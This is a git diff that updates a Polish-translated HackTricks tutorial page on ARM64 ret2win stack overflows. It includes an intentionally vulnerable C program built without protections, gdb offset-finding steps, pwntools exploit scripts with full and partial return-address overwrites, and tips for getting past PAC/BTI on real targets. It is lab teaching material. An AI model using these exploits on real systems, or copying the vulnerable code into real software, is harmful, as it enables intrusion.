mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
parent
e4aae9c7b4
commit
2ae3db5a8b
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
Wprowadzenie do arm64 znajdziesz w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Kod
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -28,17 +28,29 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompiluj bez pie i canary:
|
||||
Skompiluj bez pie i canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
|
||||
```
|
||||
- Flaga dodatkowa `-mbranch-protection=none` wyłącza AArch64 Branch Protection (PAC/BTI). Jeśli twój toolchain domyślnie włącza PAC lub BTI, to sprawia, że lab jest powtarzalny. Aby sprawdzić, czy skompilowany binarny używa PAC/BTI możesz:
|
||||
- Szukaj właściwości AArch64 GNU:
|
||||
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
|
||||
- Sprawdź prologi/epilogi pod kątem `paciasp`/`autiasp` (PAC) lub pod kątem padów lądowania `bti c` (BTI):
|
||||
- `objdump -d ret2win | head -n 40`
|
||||
|
||||
### AArch64 calling convention quick facts
|
||||
|
||||
- Rejestr linku to `x30` (tzw. `lr`), a funkcje zazwyczaj zapisują `x29`/`x30` przy pomocy `stp x29, x30, [sp, #-16]!` i przywracają je za pomocą `ldp x29, x30, [sp], #16; ret`.
|
||||
- To oznacza, że zapisany adres powrotu znajduje się pod `sp+8` względem bazy ramki. Przy `char buffer[64]` umieszczonym poniżej, zwykła odległość nadpisania do zapisanego `x30` to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej.
|
||||
- Wskaźnik stosu musi pozostać wyrównany do 16‑bajtów na granicach funkcji. Jeśli będziesz budować łańcuchy ROP później dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej możesz spowodować awarię podczas epilogów funkcji.
|
||||
|
||||
## Znalezienie offsetu
|
||||
|
||||
### Opcja wzorca
|
||||
### Pattern option
|
||||
|
||||
Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
|
||||
Przykład został utworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Uruchom gdb z gef, stwórz wzorzec i użyj go:
|
||||
Uruchom gdb z gef, wygeneruj pattern i użyj go:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
@ -46,17 +58,17 @@ run
|
||||
```
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy to wykorzystać do znalezienia przesunięcia wzorca:
|
||||
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został przejęty), możemy użyć tego, aby znaleźć offset wzorca:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Przesunięcie wynosi 72 (9x48).**
|
||||
**Przesunięcie to 72 (9x48).**
|
||||
|
||||
### Opcja przesunięcia stosu
|
||||
|
||||
Zacznij od uzyskania adresu stosu, w którym przechowywana jest rejestr pc:
|
||||
Zacznij od pobrania adresu stosu, gdzie przechowywany jest rejestr pc:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
@ -65,14 +77,14 @@ info frame
|
||||
```
|
||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Teraz ustaw punkt przerwania po `read()` i kontynuuj, aż `read()` zostanie wykonane, a następnie ustaw wzór, taki jak 13371337:
|
||||
Teraz ustaw breakpoint po `read()` i kontynuuj, aż `read()` zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź, gdzie ten wzór jest przechowywany w pamięci:
|
||||
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
|
||||
|
||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -80,9 +92,9 @@ Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
|
||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||
|
||||
## Brak PIE
|
||||
## No PIE
|
||||
|
||||
### Regularny
|
||||
### Zwykły
|
||||
|
||||
Uzyskaj adres funkcji **`win`**:
|
||||
```bash
|
||||
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
|
||||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
Eksploatacja:
|
||||
Eksploit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
# Optional but nice for AArch64
|
||||
context.arch = 'aarch64'
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
@ -114,7 +128,7 @@ p.close()
|
||||
|
||||
### Off-by-1
|
||||
|
||||
W rzeczywistości będzie to bardziej jak off-by-2 w przechowywanym PC na stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
|
||||
Tak naprawdę będzie to bardziej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -136,16 +150,16 @@ p.close()
|
||||
```
|
||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Możesz znaleźć inny przykład off-by-one w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest prawdziwym off-by-**one** w fikcyjnej podatności.
|
||||
Możesz znaleźć kolejny przykład off-by-one w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest prawdziwym off-by-**one** w fikcyjnej podatności.
|
||||
|
||||
## Z PIE
|
||||
## With PIE
|
||||
|
||||
> [!TIP]
|
||||
> Skompiluj binarny plik **bez argumentu `-no-pie`**
|
||||
> Skompiluj binarkę **bez argumentu `-no-pie`**
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy znać offset funkcji od binarnego pliku, a wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, możliwe jest wyciekanie offsetu do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użycie tego offsetu:
|
||||
Nie mając leak, nie znamy dokładnego adresu funkcji win, ale możemy znać offset funkcji względem binarki. Wiedząc, że adres powrotny, który nadpisujemy, już wskazuje na pobliski adres, możliwe jest uzyskanie leak offsetu do funkcji win (**0x7d4**) w tym przypadku i po prostu użycie tego offsetu:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
@ -167,4 +181,45 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
|
||||
- Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć `paciasp`/`autiasp` lub `bti c` emitowane w prologach/epilogach funkcji. W takim przypadku:
|
||||
- Powrót do adresu, który nie jest prawidłowym BTI landing pad, może spowodować `SIGILL`. Lepiej celować w dokładne wejście funkcji, które zawiera `bti c`.
|
||||
- Jeśli PAC jest włączony dla powrotów, proste nadpisania return‑address mogą nie zadziałać, ponieważ epilog uwierzytelnia `x30`. W scenariuszach do nauki przebuduj z `-mbranch-protection=none` (pokazane wyżej). Atakując prawdziwe cele, preferuj przejęcia bez użycia powrotu (np. nadpisania function pointer) lub zbuduj ROP, który nigdy nie wykona pary `autiasp`/`ret` uwierzytelniającej sfałszowany LR.
|
||||
- Aby szybko sprawdzić funkcje:
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
|
||||
Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:
|
||||
```bash
|
||||
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
|
||||
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
|
||||
|
||||
# Run the binary with the AArch64 loader environment
|
||||
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
|
||||
|
||||
# Debug with GDB (qemu-user gdbstub)
|
||||
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
|
||||
# In another terminal
|
||||
gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
```
|
||||
### Powiązane strony HackTricks
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Źródła
|
||||
|
||||
- Włączanie PAC i BTI na AArch64 w systemie Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
|
||||
- Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user